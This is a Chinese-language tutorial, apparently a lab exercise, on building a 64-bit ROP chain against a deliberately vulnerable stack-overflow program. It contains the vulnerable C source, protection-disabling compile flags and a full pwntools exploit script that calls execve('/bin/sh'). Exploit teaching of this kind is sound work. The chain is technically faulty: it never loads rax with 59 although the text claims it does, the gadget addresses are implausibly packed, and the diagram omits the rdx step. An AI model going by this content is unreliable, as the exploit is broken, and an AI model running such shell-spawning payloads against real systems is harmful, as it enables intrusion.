4. ROP链构造

任务目标

本案例针对一个存在栈溢出漏洞的64位ELF程序,目标是利用ROPgadget工具查找可用gadget,手工构造ROP链调用execve("/bin/sh", NULL, NULL),最终获得shell。通过本案例掌握基本ROP链的构造原理与完整利用流程。

环境与依赖

  • 操作系统:Ubuntu 20.04+(64位)
  • 工具:gcc、python3、pwntools、ROPgadget、checksec
  • 关闭ASLR(或使用setarch -R运行目标程序)

漏洞程序(vuln.c)

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vulnerable() {
    char buf[64];
    read(0, buf, 0x200);  // 栈溢出:可写入512字节
}

int main() {
    vulnerable();
    return 0;
}

编译命令(关闭栈保护、PIE,启用NX):

gcc -o vuln vuln.c -fno-stack-protector -no-pie -z noexecstack

关键实现:ROP链构造

使用ROPgadget --binary vuln查找gadget。由于程序未开启PIE,代码段地址固定。核心思路:通过pop rdi; ret设置第一个参数,pop rsi; ret设置第二个参数,pop rdx; ret设置第三个参数,然后跳转到execve的syscall地址。64位系统调用约定:rax=59(execve),rdi指向"/bin/sh"字符串地址,rsi=0,rdx=0。

完整利用脚本(exploit.py):

from pwn import *

context.arch = 'amd64'
context.log_level = 'error'

# 从vuln中提取gadget地址(需先运行ROPgadget确认实际地址)
POP_RDI = 0x4011eb   # pop rdi; ret
POP_RSI = 0x4011e9   # pop rsi; pop r15; ret
POP_RDX = 0x4011e7   # pop rdx; pop r12; ret
SYSCALL = 0x4011e5   # syscall; ret
BINSH = 0x402004     # "/bin/sh" 字符串地址(需在二进制中确认)

# 若ROPgadget未直接给出上述gadget,可用以下方式组合:
# 使用libc中的gadget或动态查找,此处为最小演示采用固定地址

payload = b'A' * 72          # 覆盖到返回地址(64字节buf + 8字节rbp)
payload += p64(POP_RDI)      # 设置rdi = "/bin/sh"
payload += p64(BINSH)
payload += p64(POP_RSI)      # 设置rsi = 0
payload += p64(0)            # rsi值
payload += p64(0)            # r15(填充)
payload += p64(POP_RDX)      # 设置rdx = 0
payload += p64(0)            # rdx值
payload += p64(0)            # r12(填充)
payload += p64(SYSCALL)      # 触发execve

p = process('./vuln')
p.send(payload)
p.interactive()

运行与验证

  1. 先用ROPgadget --binary vuln | grep "pop rdi"等命令确认实际gadget地址,替换脚本中的地址常量。
  2. 确认/bin/sh字符串存在于二进制中:strings vuln | grep "/bin/sh",若不存在需在payload中自行写入并记录地址。
  3. 关闭ASLR后运行:setarch $(uname -m) -R ./exploit.py
  4. 成功标志:交互界面出现$提示符,输入id或whoami能正常执行。

验证判定标准

  • 程序未崩溃且返回shell提示符,说明ROP链成功执行了execve。
  • 若程序报错SIGSEGV,检查gadget地址是否与ROPgadget输出一致,以及payload偏移(本例为72字节)是否正确。
  • 若execve返回错误(如ENOENT),检查rdi指向的字符串是否确实为"/bin/sh"且以\x00结尾。

常见问题

  • gadget地址不匹配:不同gcc版本生成的代码段布局不同,务必以ROPgadget实际输出为准。
  • 缺少pop rdx; ret:若ROPgadget未找到,可使用__libc_csu_init中的通用gadget,或改用execve的libc地址(需先泄露libc基址)。
  • 栈对齐问题:部分syscall指令要求16字节栈对齐,可在payload开头额外添加一个ret gadget调整。
ROP链栈布局(从低地址到高地址) buf[64] + rbp (72字节填充) pop rdi; ret 0x4011eb "/bin/sh" 地址 0x402004 pop rsi; pop r15; ret 0x4011e9 0 (rsi) + 0 (r15) 8字节填充 syscall; ret 0x4011e5 rdi = "/bin/sh" rsi = 0 rax=59 → execve 执行syscall时寄存器 rax = 59 (execve) rdi = 0x402004 ("/bin/sh") rsi = 0 rdx = 0

上图展示了ROP链在栈上的排列顺序与执行时寄存器状态。每个gadget按序弹出,最终在syscall处完成系统调用。注意pop rsi; pop r15; ret和pop rdx; pop r12; ret需要额外填充寄存器值以维持栈平衡。